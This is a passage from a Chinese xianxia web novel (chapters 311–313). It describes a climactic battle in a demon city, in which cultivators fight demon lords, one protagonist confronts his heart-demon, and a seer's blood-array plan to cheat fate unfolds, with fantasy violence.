齐穗看了一眼,就用利刺刺穿了这几只魔狼,长舌如吸管般扎入魔狼的体内,吸收着里头的血肉,很快,几只魔狼变成了轻飘飘的魔狼皮。 随后,这几张魔狼皮就被齐穗丢到了另一边。 秦兰时看到这一幕就明白自己的战败cg是什么了,当即闪躲了去,他在找齐穗的弱点,所以出手极为谨慎,但几招下来都没有找到,甚至差点被那齐穗抓到了。 看来这虫眼很好使啊。 秦兰时自认为自己的速度不算慢了,但是在齐穗的轮番攻击下,愣是惊险无比,就在他喘口气再次躲过一击的时候,突地,另一边的魔气暴动了起来,甚至其中还夹杂着几丝他熟悉的灵力。 秦兰时一愣。 而秦兰时这一愣神就被齐穗抓到了机会,只见她飞速地用多只虫足制出囚笼困住了秦兰时,并且用几根利刺将秦兰时的四肢所刺穿,将人狠狠地钉在了地板上,霎时间,秦兰时的血于地上染开。 发带已然在战斗中被割断,只见秦兰时发丝倾于地上,与地上的泥与血混在了一起,他微微仰头,看着立于他身上的巨大魔虫,同时也是六魔主齐穗。 剑在方才那个情况被打飞了出去,落在了不远处。 “拥有软肋并不是一件好事。”齐穗居高临下地看着人,她大抵猜到秦兰时方才为什么会愣神:“他害了你。” 这个他是谁不言而喻。 秦兰时没回应。 齐穗也没打算非要等到人开口再吃,于是她再次伸出那进食的管子,准备扎在秦兰时的身上,就在这时,她感觉到自己那刺在秦兰时肢体上的尖刺有一种撕裂的痛。 齐穗猛地抽出自己的虫足,谨慎地往后退去,并且低头查看自己的尖刺,只见在那尖刺说她看到了正在绽放的血花,花正以她的躯体为食,扎根于她的躯体内。 “噗嗤。” 与此同时,秦兰时也从地上坐了起来,他笑了出来,随后他抬起手臂,舔舐着上面因为受伤而流下的血,并且眯起眼,心情极好地看着正自断肢体的齐穗。 秦兰时见此微微一笑:“齐穗。” “可不只有你会吃。” 他所流下的血都化作了血花,瞬间长满了四周,就连秦兰时身上也不可避免,而身上的花正在不停地修复着他的伤口。 秦兰时站起身,身上的花也随之抖落了些许,他轻轻拍了拍身上的花,让其落于地上,落下的花本能地寻找着剩下的生机,最后将那地上藤蔓吸干了去。 “你真当我的魔主是白干那么多年的吗?”秦兰时将剑唤至手里,就抬手甩了甩身后的长发,他脸上还残存着血花,正于左脸处绚烂绽放。 如果说修仙界的木灵根是可以给予植物生机并且为之所用,那么魔界的木灵根便是其相反,是可以肆意剥夺生命的存在,将四周的生机化为自己的粮食。 一边生一边死。 而现在的秦兰时已彻底立于死亡之地,他所站的地方都充斥着可以剥夺人生命的血花,而秦兰时还给这些花起了个名字,就叫…… “血莲。”秦兰时眨了眨眼,然后冲着齐穗打了个响指:“毕竟入乡随俗,我总不能还和原来那样打架吧,而且我原来的法术也不合适在魔界用。” 而对面的齐穗在秦兰时说完这话后就露出了一种你好麻烦的表情。 虫翅再度展开,飞速扇动着,四周的风流因此而变向,将那些血莲吹向了天空,这漫天的血色都是秦兰时的血所化作的花。 秦兰时笑看着这一切,他用剑划开自己的手臂,让这些血莲开得更为灿烂和旺盛,此时的他将死亡展现得极为美丽。 …… “为什么我都当魔修了,你这家伙还没走!!”曾几何时,秦兰时在魔域勤勤恳恳修炼,一入那识海就看到了熟悉的身影站在旁边看他,秦兰时当即浑身一抖,用那种不敢置信的眼神瞪那心魔。 “…你是入魔了没错。”心魔极有礼貌但是阴阳怪气地提醒他那么一句:“但是这你身体还不是我的,我需要夺一下。再说了,你除了外表看着像魔修,哪里像魔修了。” “我哪里不像魔修了!!”秦兰时当即大怒。 “那你为什么还用正道的功法?都修魔了,用点凶猛一点的不行?”心魔嘁了一声,对于这个半魔不魔的秦兰时可谓是看不顺眼:“你这样下去别连累我夺你身体。” “我……”秦兰时怒了一下,就是一下,随后他看着这个心魔秦兰时,突然露出一个笑:“哦——我明白了,因为我不是按照你的要求入的魔,所以你现在压根奈何不了我,但是又因为我还没解决心魔问题,你就这样半死不活地存在我识海里。” 心魔秦兰时听到这话微微一笑,然后无比破防地过来就是给秦兰时一拳,但是被秦兰时躲开了,而后心魔秦兰时连续来了好几圈,而秦兰时的腰扭得跟个摇晃弹簧似的,特别灵活。 “打不到我~打不到我~”秦兰时得瑟极了。 “……呵,不过是个说好却做不到的混蛋,不要以为我不知道你在魔域里经常想什么,不就是想着山玉会不会太过伤心然后断情绝爱,并且就去找其他人吗?”心魔秦兰时收起手,开始了精神攻击。 秦兰时:…… 这个精神攻击的确很得劲。 “想想也是,你没什么优点,除了会打架外,那臭脾气又不怎么样,还很臭美,精神还有问题,舍不得又不想放手,自私自利的,你以为你是金子让所有人围着你转吗?” 第一击。 秦兰时弯腰摸着胸口。 “甚至有时候还很自卑,没什么自信,谎话连篇,摆着长老的架子又不怎么干活,瞧着就是个除了打架一无是处的废物,比不过人家就嫉妒,甚至嫉妒了顾延清好几百年,还倔强得离谱且心眼子小,甚至还自暴自弃,一点容人之心和自我坚定都没有。” 第二击。 秦兰时已经冲心魔秦兰时颤巍巍地抬起手,他想要阻止心魔秦兰时继续精神攻击他。 “你以为你配吗?很多事情不是你撒个娇就能得到的,你明明知道这一点却当做不知道,甚至人也矫情,什么事都矫情,一点不顺你心意你就闹,甚至还一直试探着山玉的底线,有时候山玉迁就你的时候你明明清楚人对这个是有点抵抗,但是你偏要要人去做,你就这样试探着吧,试探完了人也就跑完了,你简直是对人对自己不自信到了极点。” 第三击…… 秦兰时已经倒在了地上,看上去像死了一样。 心魔秦兰时看了他一眼,冷笑了一声开口道:“矫情的废物,就我们这种谎话连篇,一点都不信守承诺,而且又自私自利的混蛋,山玉早该抛弃我们了。” “但是我们甚至还不想放手,人就这样自私,就这样作吧。” “……”地上那一摊的秦兰时看上去更死了。 可心魔秦兰时骂完后自己也沉默了,毕竟他这是自己在骂自己,可骂完后又觉得自己简直糟透了,为什么自己这种那么糟糕,那么废物那么垃圾的家伙…… “可山玉还是喜欢我,我的师父,大师兄,二师姐,四师弟,小师妹,都很喜欢我。”秦兰时趴在地上,颓废地出声:“他们就是喜欢我,这种糟糕的我。” “但是他们不知道的是,最不喜欢我的…往往是我自己。”说着,秦兰时站起来,站在了心魔秦兰时……不,糟糕的自己面前。 “……”糟糕的秦兰时看着这个秦兰时,没有回话。 “我知道我太糟糕了。”秦兰时笑了笑,继续说:“所以我一直不敢看这样的自己,我讨厌这样的自己。” 很多时候,这种念头压根止不住,他往往是那种骂自己最狠的那一个,尤其是自暴自弃的时候,他一直怒骂这样的自己。 “所以……” “对不起啊。” 秦兰时抬起手,这次他没有打也没有骂,他只是单纯地将这个糟糕的秦兰时拥入了怀里,拍了拍对方的后背:“现在,已经没事了。” 过去的泪水终于在此刻落了下来,并且终于舍得被未来所承认所拥抱。 自此,心无魔,血莲诞。 这是一场无人知晓的新生 。 第311章 人可解之 烈火在废墟上舞动,纷飞着,偶有火焰似飞鸟击于盛礼越身上,却被人一挥手驱散了去,那落下的余火就这般悄声无息地没了色。 几轮下来后,唐山玉可有感觉到自己的灵力少了不少,他也不是没有给对方伤害,但是为什么这个盛礼越还记得用治疗法术治疗自己啊,这种人的记忆在变成魔物后就不能忘记吗! 该记得的不记得,不该记得就记得。 唐山玉想想都觉得要是自己变成魔物,还打得这样起劲,瞬间就觉得这样的自己太糟心了。 不过他也只是想想,目前情况有卫朔和其他士兵的加入,算是应付得轻松,要是一对一唐山玉不敢想象自己累死累活,对方还活蹦乱跳该有多绝望。 卫朔这边刚攻击完,他就在旁边落了地,剑上的血被他往外甩了去,与此同时,那边的盛礼越伤口继续愈合着,怎么也杀不死。 “我们试试同时斩断他的手脚?”唐山玉作为感情不深厚的旁观者,提出了非常适合此时的建议,至于这个建议能不能被采纳就是另一回事了。 而卫朔这人也算果断,闻言只是轻轻顿了一下,就点点头应道:“好,那就那么办吧。” 为了对付怎么也死不了的魔物,人们一般都会选择这种能够限制对方行动力的方法,虽然这对魔物来说有点不太友好就是了。 而在俩人就要进行这一步的时候,正要帮忙进攻的将士们在这一刻突然纷纷退去,随着盛知许的灵力而至,四周的废墟上长满了绿植,并且渐渐往外蔓延开来。 盛知许加入了这个战场,而他的手上正拿着一枚方形玉佩,正散发着荧荧的绿光,与此同时,他身上还染着马小桐的血,抬眼间,盛礼越的身影就那么直直地映入这位陛下淡然的眸子里,连同那被血脉牵引着的红线一起。 随后,他说: “我来救你了。” 刹那间,地上的绿植重新聚拢,围绕着盛礼越并且将其困在了里头,随后长出藤蔓并且编织成一个巨大的牢笼。 盛礼越见此将长枪刺入地下,燃起的烈火瞬间将这些藤蔓点燃,并且这些烈火将他所包围着,下一刻,他似是感到了什么转头看去,而自火中突破过来的,正是同为火灵根的唐山玉,虽火焰缠身但唐山玉早就习惯,他这一击瞄准的是盛礼越的脑袋。 盛礼越身后下方处,卫朔用剑横扫过火焰,用剑气逼退它们,为自己开出了另一条路,他压低着自己的身形,双脚蹲地后弹跳而起,并且借势对着盛礼越挥剑。 剑修的前后夹击的确让盛礼越的进攻有片刻的困难,而他们的剑都牢牢地刺在了自己的身上,随后盛礼越伸出双手握住了两把剑,狠狠地抓住其剑刃,一个用力就将俩人腾空举起。 唐山玉:? 卫朔:…… 人只要变成魔物后力气就会那么大吗? 只见盛礼越举起俩人后就连同剑一起往四周抛去,顺便也把剑从身体里拔了出来,这个盛礼越痛不痛唐山玉不知道,反正他看着是挺痛的。 被丢出去后,唐山玉在空中变换了一下身形,随后御着剑站稳在了空中,而卫朔被丢出去就是被丢出去了,他甚至没有反抗什么,也没准备什么防护罩,而是结实地在地上狠狠地摔了一下。 盛知许见俩人都飞出去,并且没有成功控制住盛礼越,就握紧了些许手上的玉佩,随后,他再次拿出匕首于自己的手臂上划下了一道伤口,血自伤口处流去,其中的甜美让盛礼越转过头来。 那贪婪视线落在了盛知许身上,如果说盛知许见过盛礼越对他的嫌弃,不满,愤怒,嘲讽等等情绪,还有那曾经的欢喜,可他唯独没有见过这样的盛礼越,贪婪,毫不掩饰的欲望,对血的渴求。 这样的盛礼越,怎能算作人? 盛知许闭了闭眼,又在自己的手臂上又划拉了一道伤,而这血也流得更多了。 下一刻,盛礼越朝着盛知许这边冲了过来,甚至还为此丢下了还扎在地上的长枪,待人来到面前的时候,盛知许没躲,在盛礼越用双手掐住他肩头,利爪扎进皮肤里的时候,盛知许也只是轻轻皱了皱眉。 最后,在盛礼越低下头张开嘴咬住盛知许肩膀处的那块肉的时候,在尖牙扎进血肉里时,盛知许抬起那只拿着那玉佩的手,抚上了盛礼越的后脑勺,然后一个用力将这玉佩捏碎。 紧接着,挨了那么多剑都没有喊过几声痛的盛礼越就在此刻松开嘴,随后就尖叫着要松手逃离了去,可盛知许已经死死抱住了人,不让其离开。 玉佩里的灵水随着捏碎还有盛知许的运转下,直直地侵入盛礼越的体内,而这也是盛礼越痛苦的来源,那毒素攻击着魔物的身体,让其的魔气在聚起来又再度溃散。 “啊啊啊啊啊啊啊!!!!“ 盛礼越挣扎了起来,他也不管要不要吃这口血肉了,他只是想着快点离开,快点离开这里,他好痛,他真的好痛好痛,痛得快要死了。 挣扎过程中,盛礼越的利爪毫不犹豫地撕扯着盛知许的血肉,似乎要用这个法子让其松手,但是盛知许不松手,他就那么死死地抱着,手上则将那毒素一点一点地注入盛礼越的体内。 紧接着,就在唐山玉和卫朔等人要过来帮忙之际,他们就感觉到四周的魔物似乎因为盛礼越的痛苦而往这里聚集了过来,可能是盛礼越呼叫救兵的缘故,而第一波的魔物已经近在眼前了。 “先清理四周,再原地立阵。”唐山玉只能先去处理魔物,至于盛礼越那边,盛知许暂且还压制得住,那他就先不管。 卫朔点点头,然后去马小桐那边清理魔物,而马小桐依旧躺在地上不知生死,与此同时,那位鬼道友则不知所踪。 …… 也不知过了多久,或许只是一会儿,但是盛知许觉得时间在这一刻走得无比地慢,他身上已经被盛礼越扯得极为狼狈,血肉和衣物紧贴着,就连脸上也不可避免地被留下了几道伤痕。 盛礼越还在惨叫着,但是这一次有些不同。 “………松,松开!!!”因为盛知许听到在那一声又一声的痛呼里,夹杂了一句人类的语言,而这也让盛知许一愣,不过盛礼越身上的魔物特征并没有消失,或许是因为这灵水逐渐恢复的只是人类的意识。 可这一切还没好,四周的魔物又袭来了一波,将士们已经有些精疲力尽,但这里是魔城,魔物自然比他们这些闯入这里的要多。 唐山玉看着这些魔物,又看了看秦兰时那边,其实他已经感觉到灵契那边传来的轻微疼痛感,所以他想人应该是受伤了,不仅如此,里头还夹杂着一丝烦躁和担忧。 这份烦躁和担忧一时半会唐山玉居然不知道这是自己的,还是秦兰时的,或者两者都有,两者都在烦躁,都在担忧。 紧接着,唐山玉好似感觉到什么,他一愣,随后咬了咬牙,就去找那边还在奋战的队长,在举剑帮人打飞几只魔物后,他就开口问:“你这里有没有更厉害的弓箭?火力能够覆盖得远一点?范围越大越好?” “…这个?”队长努力想了想他们带过来的法器里有没有这种:“可是我们带的都是适合我们自己用的,更厉害的法器都在陛下手里。” “队长,我们不是还有一个法器能给仙长用吗?”另一边的小兵趁着得空朝着这边开口喊道:“就那个,就那个可以一发好几个灵箭那个!我记得讲解这个的仙长说过这个是能够根据实力自我调整的。” “哦哦!那个!那个我们每个人都有,仙长,你看看我这个。”说着,队长把自己的那份灵弓递过去:“此物名为千落雨,能够远程也能一次性发好几个灵箭,仙长的修为越强法器效果就越强。” 唐山玉对这个法器略有耳闻,这法器在修为低的人们那里非常吃香,不过因为自己没怎么用过远程攻击,所以他就没有想过去买,作为剑修,一直用剑这是对剑的爱,但是特殊情况也不是不可以用点别的武器。 人一直是很会变通的。 总之,唐山玉接过了这千落雨,后用灵力感受一下其结构,还有附着在里头的灵力说明书,看完后唐山玉就懂了,随后扯了扯,举起来似乎准备要射箭,但紧接着,他想起了什么,眼里闪过了犹豫和跃跃欲试。 “天命既定,生死终局。” 一人走于废墟间,四周尽是那越过他身形往后而去的魔物,他独与其逆行,因为他不是魔,他是人。 面具被摘于手上,闭上的眼也在此刻轻轻睁开,那是一抹许久未曾亮起的金色,肉身虽损,但灵魂依旧通这天地,以念问天,窥这天下。 力道略一松,面具脱手,哐当一声悄然落地,那身白衣已染上了血,身形却依旧挺立。 他来到了一间暂未被破坏的房屋内,之所以没有被破坏,是因为这里残存的邪气足以让那些邪魔都不敢侵犯,并绕道而行。 “何不随之?何不从之?以何解之?” 三问尽落,问者抬头望去,入目是恶佛诡像,此处遍地是用鲜血刻画下的符文,而在阵法的中央,那一地的鲜血宛若残花用尽盛放的终局。 程启风见此不由得朗笑出声,其笑容配着这里的诡异让他多了几分癫狂,随后他往前走了几步,走进了阵法中央,阵法随之亮起,血红的光将他身上的白衣映作了红衣。 此人笑而又叹,自问自答: “而此三问,人可解之。” 第312章 命中注定 程启风曾试图篡改过命数,他作为前问天门门主亲传弟子,自是手握星辰,推算天机,推出的结果好坏各有,而至于要不要说,该不该说,自然全凭心意。 师父……不,门主曾夸赞过程启风天资聪颖,与天相和,仿佛就是天上来的使者那般。 心高气傲了,便觉得自己可以无所不能了。 程启风表面上端得倒是平和,实际上又怎会不因这夸赞之语欣喜呢,他本就是人,又不是不食烟火的神,只是天资高一点罢了。 坦然承认自己的优秀比错误要容易多了。 而那双能够看清人们命数的眼睛在此时依旧明亮,他还能看清这世间万物的模样。 那么,为什么他现在看不到了呢? 回到现在,程启风拿着手上的石块,染着地上的血,一笔一划地在地上刻画着什么,等他画完后就松口气,并且有些自得地看着这地上的新符文。 看看这些诡异的图案,要是被自己师父知道了,怕是又要再挨一次罚了,不过现在也罚不了了。 程启风是真的没有想到自己还会再画这种东西的一日,自那天被训后,那些他研究出来的图纸就全被人烧得一干二净。 毕竟这些东西对于修仙界来说过于不可理喻,也过于邪了。 程启风能理解,但是他还是做了,为了一个一面之缘的孩子,那是他在游历途中遇到的,是个小丫头,嘴巴很甜特别会夸人,因为没爹没娘,就紧紧地跟着他跑了一路。 在那个时候,他还未看过她的命,毕竟哪有人一见面就看命的,这种东西看多了也没什么意思,更不用说是看萍水相逢的陌生人了。 一个人的命如何,总归不是自己的事。 何必管那么多呢? 可心高气傲的少年偏要管,因为他觉得自己无所不能。 除了那些极难跨过的生死劫外,其他劫难操作得当的话,是可以选择避开的。 于是程启风这一看,就看到了小丫头这死劫,再一看,哎,怎么就要死了,再转头一看,看到小丫头那笑容灿烂的脸,当即把这你要死了的话语咽了回去。 “所以,仙长哥哥,我以后会怎么样啊?我长大后是不是特别厉害?”小丫头眼睛亮亮地看着程启风,她可是哄了人好久才给她相看的,自小爹娘就说她长得讨喜,命肯定也好,毕竟大难不死必有后福嘛。 “……很好。”程启风第一次在命数上对人撒了谎,而这个人还是个小丫头,而这是一个大大的关于生死的谎言。 “真的吗!我以后会嫁一个如意郎君吗!”虽然小,但是小丫头该懂的还是懂的,比如大人们嘴里常说的嫁个如意郎君,过上好日子什么的。 “…嗯,对,你会长大,你会嫁一个如意郎君,然后过上平凡但幸福的好日子。”程启风谎话越说越顺嘴,说完后,小丫头就欢呼了起来,因为她知道仙长哥哥算得特别准。 看着开心的小丫头,程启风微微偏过头去,他记得师父说过,死劫是无法的跨越的劫数,只能延缓,但该死的时候,自然是到时候了。 可这小丫头的死劫,也太早了。 早到,她还没长大。 …… 那么,死劫要如何破? 程启风继续低头看着这个阵法,他自是知道这死劫要破,付出的代价可不只是他的一双眼睛了。 他此刻在承认自己不过是庸才,若当真是天才,又怎会为这死劫劳神伤身呢?真正的天才就应该将这该死的命运捅破了去才对。 而不是付出了代价后,到头来什么也得不到。 可……就算是庸才,也有庸才的破法。 …… 千落雨入手的时候,唐山玉便知道此物之便利,但与此同时,他也深知自己的实力不足以让这场火雨覆盖到全魔城,甚至也打不破魔城的结界。 正如千落雨的名字那样,瞬间千发好像就是它的极限了,就像他拼尽全力都无法将这场火覆盖在整座魔城那样。 唐山玉垂下头,握紧了这千落雨,随后他抬起另一只手,手上正拿着一颗药丸,这颗药丸看上去很普通,细看下这表面却隐约浮现出几道金纹。 举起它,随后将这药丸咽下。 苦味在嘴里蔓延,连同着周身的灵力暴涨而起。 …… “师父,我今天上课学到了关于死劫的知识。”许久以前,唐山玉正背着小书包,带着一朵路上摘来的花,然后慢悠悠地走进了房间里。 在这种时候,秦兰时一般会侧躺在床上,手里翻阅着精彩的话本子,嘴里叼着块酥软的糕点。 秦兰时闻言抬头看了进来的唐山玉一眼,就拍了拍他身边的位置,示意唐山玉过来。 唐山玉迈着小短腿就来了,然后嘿咻嘿咻地爬上床,把手上的花插在秦兰时的脑袋上,就凑过去看秦兰时在看什么话本子。 一眼看去全是狗血剧情。 唐山玉默默地收回了视线,然后继续问:“师父,这个修仙界的死劫很难解决吗?” 秦兰时将嘴里的糕点吃完,就懒洋洋松些拿书的力道,任由那书页肆意地随风而翻动,他说:“对,很难解决。” “真的是命中注定必死吗?”唐山玉抓起秦兰时的衣角,两只手分别捏住两边,就这样打了个结。 “一般是,你师父我暂时没有看到例外的。”秦兰时想了想自己在修仙界里的那些年,轻轻摇头。 “那是不是算出死劫就相当于癌症无疑了?”唐山玉继续问问,然后开始担忧起自己来了:“那我是不是也有死劫。” “……哈哈。”秦兰时笑了一声,此时的唐山玉并不明白他这声低笑是因为什么,可能是因为他这个问题很蠢吧。 “或许有,或许不会有,但是你放心,如果你命中注定会有死劫,那么……”秦兰时放下话本子,然后抬起手轻轻点了点唐山玉的脑袋,他的笑声自遥远的回忆里响着。 接下来的画面几乎是同一时间里发生的,程启风将这血阵刻画完毕,嘴里念念有词,而他仰起头,看着这天,那双可以看清世间的金眸在此刻炯炯有神。 眸里头亮起的火,正如同唐山玉身边的火那般明亮,灵火汇聚于箭上,将弓用力拉满对准天空,眼里唯有那箭尖那处的火燃烧着。 与此同时,唐山玉的身上出现了金色的纹路,纹路爬上他的躯体,那暴乱又狰狞的金色好似要将他撕裂开来那样,像极了出现裂痕的瓷器,一碰即碎。 但那又如何呢? 卫朔挥着剑,将四周的魔物清扫干净,在好不容易获得的几个喘息间,他想起了什么就转头去看躺在地上的马小桐,那被刺穿的胸口处已不再流血,但人依旧没醒过来,或许永远都不会再醒过来。 就像曾经无数次的离别那样。 他知道,这是命。 这就是命。 而盛礼越此时的惨叫更让卫朔此刻的心情显得更为愤怒与无助,这是他压抑已久的怒火,但却无济于事。 所以他不愿意看命,一无所知比知道清楚要更好。 而另一边,藤蔓带着尖刺缠绕在人的四肢上,尖刺刺破了皮肤,血自伤口流下后就变成了花,轻轻地挂在了藤蔓身上。 秦兰时低下头,垂落的发丝于胸前轻轻晃动着,他看着自己身上的藤蔓,一时之间居然动弹不得,虽然齐穗方才用尖刺下的毒被他用血花逼了出去,但血流过多是会无力的。 打法再怎么不要命,他都是有血条的。 也就是说,秦兰时并非无敌。 如今,他一不留神就被齐穗抓住了机会,变成了如今的境地,而齐穗的情况也不是很好,她被秦兰时废掉了所有腿,并且还斩断了翅膀,正倒在地上直喘气,血花在她身上蚕食着生机,将她当作了养分。 但齐穗并未就此妥协,先前吃掉的秦兰时法术在此刻发挥了作用,于是她便趁机操控余下的藤蔓将秦兰时所困住。 而她也在先前的战斗中也尝试吃了血花,并且将其能力好生复刻在这藤蔓上,所以秦兰时目前是被自己的技能所困住了。 一时之间,他居然要与藤蔓争夺生机,若他一放松,自己身上的血花便会枯萎,躯体也会被这藤蔓所吸干,反之则亦然。 还没等秦兰时解决这些藤蔓的时候,他就看到齐穗张开嘴,伸出了那要进食的长管,那一刻,秦兰时有一瞬愣神,紧接着这份情绪就变成了急切。 他居然忘记把舌头也给拔了。 “该死。” 想到这里,秦兰时就开始用力扯动身上的藤蔓试图挣脱,而那进食的管子也离他越来越近,要是身体被扎上去,秦兰时可以想象出自己要被吸成人皮兰了。 挣扎的同时秦兰时也在害怕,他在害怕自己的死劫就在今日,害怕自己或许躲不过去,更害怕自己要是死掉了唐山玉也会跟着死去。 在秦兰时好不容易扯掉了左腿处的藤蔓时,那长管也越来越近了,眼看就要扎上来了,而秦兰时则试试能不能抬脚把其踹回去,挣扎间他身上的血花也越开越多。 如果……人命中注定会有死劫…… 轰隆——— 一支巨大的火箭直射于魔城的天空,它狠狠撞击在结界上,像在做拼尽全力的最后一次挣扎,紧接着,它无力地往下落去,那落下的千万火焰变成了一场金色的雨。 这场金雨倾盆而下,它身上带着的火焰是魔物们的噩梦,但却是人们的希望,被金雨砸到的魔物都痛苦地嚎叫着,身上的血肉被其疯狂燃烧。 而此时,盛礼越已不再挣扎,他那混浊的眼珠子逐渐被火照得明亮,随后他微微一愣,很快就轻笑了起来,尖锐的利爪轻轻抚上盛知许的后背,它不再去撕扯人的血肉,而是拥抱了人。 盛知许一愣,连忙松了些力道就往后退去,他眼中映着的不只有这场金雨,还有那曾经笑得极为灿烂的少年,他张了张嘴想要说什么,但这场金雨所带来火焰已将盛礼越所燃烧。 盛礼越没抵抗这火焰,趁着有限的时间里,他轻轻扫一眼周围,在触及到地上马小桐的时候一愣,但想起什么后又松了口气。 “哥。”他念着家人的称呼,不是陛下也不是什么太子哥哥,只是简简单单的一句哥。 “我这次可比你厉害。”盛礼越有些骄傲,与此同时,他难得看到一向沉稳冷静的盛知许另一种表情,他更加开心了:“我赢过你了。” 卫朔没有继续打魔物了,他跑回去想要看看马小桐,而他也在这个时候发现了马小桐身上的变化,像是有些不敢置信,却又生怕这是他的幻觉,在颤抖的指尖触碰到这抹温热后,就算是死亡都没有哭过的他却为了这一刻的生哭了出来。 “小桐……” 另一边,程启风已经跪坐在阵法上很久了,他停止了念词,抬起头看向外头的金雨,看了一会儿后,他温柔地笑了,如同往常见到伙伴们的那样。 “成了。”他那么说着,便再次闭上眼,静静地等待着什么。 …… 金雨继续往下落去,倘若火焰只有一朵,是照不亮整个天空的,而如今的千万落火却让魔城第一次迎来了黎明。 秦兰时在火焰落下前就看到了,那些火焰落在了整个魔城四周,包括他目前所在的位置,灼热的火将他身上的藤蔓尽数烧断,而他也得以挥剑斩断了齐穗的最后杀手锏。 这些火并没有燃烧他,尽管他身上有着魔气,可那边的齐穗却是不能幸免,落下的火焰在她身上烧灼着,这比秦兰时的血花还要让人忍受。 秦兰时朝着那人所在的那里看去,他可以感觉到那人的情绪,是坚定的,是不妥协的,这场金雨就是他的答案。 “如果你命中注定会有死劫……”往日的嬉笑般的话语犹在耳边,他不过是随口一说,好让人安心些:“那么……” 如果,你的死劫是命中注定,那么…… 唐山玉手上的千落雨已然被方才的灵力燃烧成火,而那燃烧殆尽后落下的灰很快就被风吹散了去,千落雨终究是在最后突破了极限。 紧接着,唐山玉似有所感,也朝着某个方向望去,发丝迎着热浪引起的风飘扬,可那抹平静的棕色里似乎还夹杂着几许雪白,但他眸里的光却是明亮的。 我命中注定会保护你。 第313章 算天 在死亡来临的时候,盛礼越心里只有一种终于来了的释然感,不为别的,这是之前就想好的事。 火将他这具变为魔物的躯体烧灼着,那刺痛感提醒他此时的身份,虽然有些无奈,但是盛礼越并没有因此而崩溃。 因为变成魔物是他的选择。 而把他变成的魔物的则是程启风,他那个表面上淡如水其实心里一直压着气的友人。 在魔城的最后一战里,除了他与程启风外,其余人都已战死,如果只是对抗魔物还不会如此惨烈,毕竟他们在那个时候已经找到了魔物的弱点,可抵不住还有个魔主给魔物帮忙啊。 在那个魔主出现的时候,在场的所有人都知道此行终是一死,就连盛礼越也以为自己会和其他将士们一起战死在这里,而他也在方才被那魔主给伤到了,此刻腰部的血正哗啦啦地直流着。 可在他要上前与那魔主斗生斗死的时候,程启风拉住了他,说要带他逃跑,当时的盛礼越自是有些不愿,他要与战士们共进退,要死就一起死,岂能当那个逃兵。 可程启风接下来的话无疑让他心头一重,原来在他们死在这里后,这魔城便会被魔主大开城门,然后将魔物往凡界灌输了去,虽凡界有仙家应下的保护,但就算是求援也要费上不少时间。 在此期间的伤亡怕是难以想象。 “我有一计,定能缓之,而且还能解决掉小桐的死劫。”程启风说着,就继续拉着盛礼越的手,将人往后头带去:“礼越,我此计缺你不可。” 盛礼越动了动唇,他自然是应的,但是如今那魔主盯着他们,他们又怎能轻易逃离呢?可就在这时,他身边的一位亲信当即开口道:“我等愿为将军赴死。” 此话一出,众将士一一答道:“我等也愿为将军赴死。” 就这一句,盛礼越就明白他们要做什么了,他也不再犹豫,也不能犹豫,随后他冲这些将士们点了点头:“我明白了,那就靠你们了。” 只此一句,将士们便不约而同地露出笑颜。 这说明将军对他们给予了最大的信任。 听听这一句靠你们了,真是让人热血沸腾啊。 盛礼越看了他们最后一眼,就转头跟上程启风的步伐,身后杀声震天,但是盛礼越知道光凭他们的武力是阻止不了魔主和魔物的,但是也不是没有其他法子。 那是他组建军队时候分发下来的法器,名字并不文雅,反倒是直白得通俗易懂,叫做炸天死,这是让将士们配于身上,如果到了不得不死的时候,那么它就可以让将士们的死发挥最大的作用。 是死了也要带走一个的坚决。 但对于魔主和魔物还是有些难带走,但是没有关系,他们要做的,不是和对方打,而是让将军成功逃走。 它们爆炸出来的灵力,足以在那一刻将两人的灵力足迹所掩盖,并且还能阻止一下魔主与魔物的追击。 这买卖实在是划算得很。 他们这些弱小的凡人们可是在强大的魔主手下把自己的将军保护下来啊。 在下边够他们吹好久了咯。 …… 在俩人逃离了后,就寻了个破庙进去待着,里头的佛破损无比,那垂下的慈悲压根无用,而程启风带着盛礼越来到这里后,说:“这里是最好的场所,我算过了。” “你要做什么?”盛礼越微微喘着气,他的情况算不上很好,那伤口随着他的飞奔裂开了不少,血早就渗透了衣裳,他握着长枪扶着旁边的墙壁才稳稳站好。 “礼越,我有个法子可以让你变成魔物。”程启风也实诚,一点也不委婉地与痛恨魔物的盛礼越说出这个计划:“只要你变成了魔物,我保证你的实力足以与其抗衡,我推测过了,这个魔城是那魔物独大。” “除了魔主外,那个魔物就是这里的王,我需要把你制成新王来与之抗衡,只要地盘里多出了一个强敌,那么那魔物说什么都不会愿意离开魔城。” “至于魔主会不会把你杀了,不用担心,算出的结果里没有这个,再者这个魔城很明显是对方的研究地,你的诞生或许还能让她有些兴趣,不会那么快解决掉你,如果你表现得很厉害,或许她还乐见其成。” “而且,如果朝国是被其守护神将军灭国的这件事足以让这些魔族愉悦。” “实力,人的邪念,命数,劫难,这些我都一一算了无数遍。”程启风说完后,就转过身去,朝着盛礼越所在的地方开口道:“你可信我?” “……小桐的死劫又该怎么说?”盛礼越听完后没什么表情,他而是问起其他事,血的流失让他有些吃力,经历了一番拼尽全力的逃亡,他已经没有多余的灵力去治疗伤口了。 “你曾经不是因为她的死劫在她身上留了一抹灵力?”程启风抬起手将自己那染了血的眼纱取下来,那无神的眼睛正直直地看着前方。 “对,虽说不知有没有用,但是这可以护住其心脉,撑到人来。”盛礼越说到这里一顿,他看了过去:“这可是你提议的,虽说我不留这个也会给她不少护体法器。” “那就够了……”程启风闻言一笑,随后他指向这个天:“足够我瞒了这天。” “而且……卫朔的命也可以破了。”说到这里,程启风想起卫朔那命格,简直是谁靠近谁死,也不知是不是因为他们命硬愣是撑了几百年,还是命中注定会有此劫。 但是拥有这种命格的人还特别难死,而活下去就要看着身边人死,这活着到底有什么意思呢? 这天实在是过分。 但他们也很犟,就是不愿意认。 “如何瞒?”盛礼越觉得此计可行,但在瞒着天这一步到底要怎么做?他有些无力地靠在墙壁上,总觉得意识有些沉。 “礼越。”这时候,程启风就笑着道:“这就有劳你了。” “好,我明白了,你有把握就好。”盛礼越见人这样说,再细想一下之前程启风透露给他的一些东西,瞬间就明白了:“那你呢?” “我会找个地方躲起来,等救援的人来,然后帮他们找到你,杀死你。”程启风点头,然后说:“你不会以魔物的躯体离开魔城的。” “那就好。”盛礼越闻言就笑了:“开始吧,我觉得我要撑不住了。” 就在程启风要开始的时候,盛礼越感觉到自己的意识要陷入一片混沌,但他又问了一句:“有代价吗?” “没有。”程启风果断回答道。 “……”盛礼越没有回话,他只是笑了笑。 